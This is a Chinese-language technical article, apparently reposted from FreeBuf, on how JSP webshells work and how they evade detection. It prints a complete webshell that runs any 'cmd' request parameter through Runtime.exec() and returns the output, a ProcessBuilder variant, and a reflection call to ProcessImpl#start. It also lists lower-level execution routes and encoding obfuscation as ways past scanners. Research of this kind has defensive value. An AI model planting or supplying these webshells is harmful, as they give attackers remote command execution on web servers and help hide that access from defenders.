Jsp Webshell原理性探究的那些事
2023-11-16 22:50:40 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

webshell

original webshell

最普通的webshell

<%
    // original WebShell
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream inputStream = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String res = null;
        while ((res = bufferedReader.readLine()) != null) {
            response.getWriter().write(res);
        }
    }
%>

直接是通过get传参之后, 通过使用Runtime.getRuntime().exec()执行命令

这种webshell很容易被检测,Runtime.getRuntime().exec()具有很强的shell特征

other command

Runtime.getRuntime被禁用,换用其他执行命令的方式进行制作shell,(虽然也很容易被查杀

ProcessBuilder

<%
    // original WebShell
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        // ProcessBuilder
        Process process = new ProcessBuilder(new String[]{cmd}).start();
        InputStream inputStream = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String res = "";
        while ((res = bufferedReader.readLine()) != null) {
            response.getWriter().write(res);
        }
    }
%>

ProcessImpl

同样也可以通过反射执行ProcessImpl#start方法进行命令执行

// ProcessImpl#start()
            Class<?> aClass = Class.forName("java.lang.ProcessImpl");
            Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            start.setAccessible(true);
            Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);

上面是在windows环境下的执行,在Unix下的系统是使用的UNIXProcess类

类似的我们可以

  1. 构造UNIXProcess/ProcessImpl实例进行命令执行

  2. 或者更底层的通过Unsafe进行类实例的创建以及反射调用Native方法forkAndExec进行命令执行

混淆绕过

编码

最常见的混淆就是通过编码来进行webshell的隐藏

对于JSP的解析流程

在请求一个jsp页面时,如果是首次jsp页面的访问将会对jsp页面进行编译生成一个class文件,之后封装成一个JspServlet,通过调用他的service方法处理请求,特别的,如果不是首次访问jsp文件,如果没有更改将不会再次进行编译操作,直接使用之前的JspServlet进行调用

简单跟进一下Jsp的解析过程以及对编码的判断

JspServletWrapper#service方法中通过compile方法进入编译流程

image-20231103230616273.png

默认使用使用JDTCompiler这个编译器进行编译


文章来源: https://www.freebuf.com/articles/web/384091.html
如有侵权请联系:admin#unsafe.sh